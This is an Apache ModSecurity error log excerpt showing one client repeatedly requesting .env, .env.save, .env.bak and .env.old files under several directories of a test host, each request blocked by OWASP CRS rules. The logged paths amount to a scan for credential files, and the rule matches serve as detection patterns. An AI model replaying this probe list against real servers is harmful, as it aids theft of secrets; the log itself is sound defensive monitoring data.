[Thu Oct 30 20:08:18.967408 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aQO3okIRheG_olLGGo-lzwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:18.967608 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aQO3okIRheG_olLGGo-lzwAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:19.518020 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aQO3o0IRheG_olLGGo-l0AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:19.518268 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aQO3o0IRheG_olLGGo-l0AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:19.518497 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env&quot;] [unique_id &quot;aQO3o0IRheG_olLGGo-l0AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:20.050459 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aQO3pEIRheG_olLGGo-l0QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:20.050740 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aQO3pEIRheG_olLGGo-l0QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:20.050950 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.save&quot;] [unique_id &quot;aQO3pEIRheG_olLGGo-l0QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:20.588271 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aQO3pEIRheG_olLGGo-l0gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:20.588473 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aQO3pEIRheG_olLGGo-l0gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:20.588725 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aQO3pEIRheG_olLGGo-l0gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:20.588923 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.bak&quot;] [unique_id &quot;aQO3pEIRheG_olLGGo-l0gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:21.332816 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aQO3pUIRheG_olLGGo-l0wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:21.333009 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /includes/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aQO3pUIRheG_olLGGo-l0wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:21.333260 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aQO3pUIRheG_olLGGo-l0wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:21.333472 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/includes/.env.old&quot;] [unique_id &quot;aQO3pUIRheG_olLGGo-l0wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:22.041260 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aQO3pkIRheG_olLGGo-l1AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:22.041516 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aQO3pkIRheG_olLGGo-l1AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:22.041734 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env&quot;] [unique_id &quot;aQO3pkIRheG_olLGGo-l1AAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:22.561191 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aQO3pkIRheG_olLGGo-l1QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:22.561454 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aQO3pkIRheG_olLGGo-l1QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:22.561660 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.save&quot;] [unique_id &quot;aQO3pkIRheG_olLGGo-l1QAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:23.143553 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aQO3p0IRheG_olLGGo-l1gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:23.143740 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aQO3p0IRheG_olLGGo-l1gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:23.143993 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aQO3p0IRheG_olLGGo-l1gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:23.144201 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.bak&quot;] [unique_id &quot;aQO3p0IRheG_olLGGo-l1gAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:23.803757 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aQO3p0IRheG_olLGGo-l1wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:23.803955 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /lib/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aQO3p0IRheG_olLGGo-l1wAAAAI&quot;], referer: https://www.google.com/
[Thu Oct 30 20:08:23.804210 2025] [:error] [pid 3884461] [client 13.212.120.214:43602] [client 13.212.120.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/lib/.env.old&quot;] [unique_id &quot;aQO3p0IRheG_olLGGo-l1wAAAAI&quot;], referer: https://www.google.com/
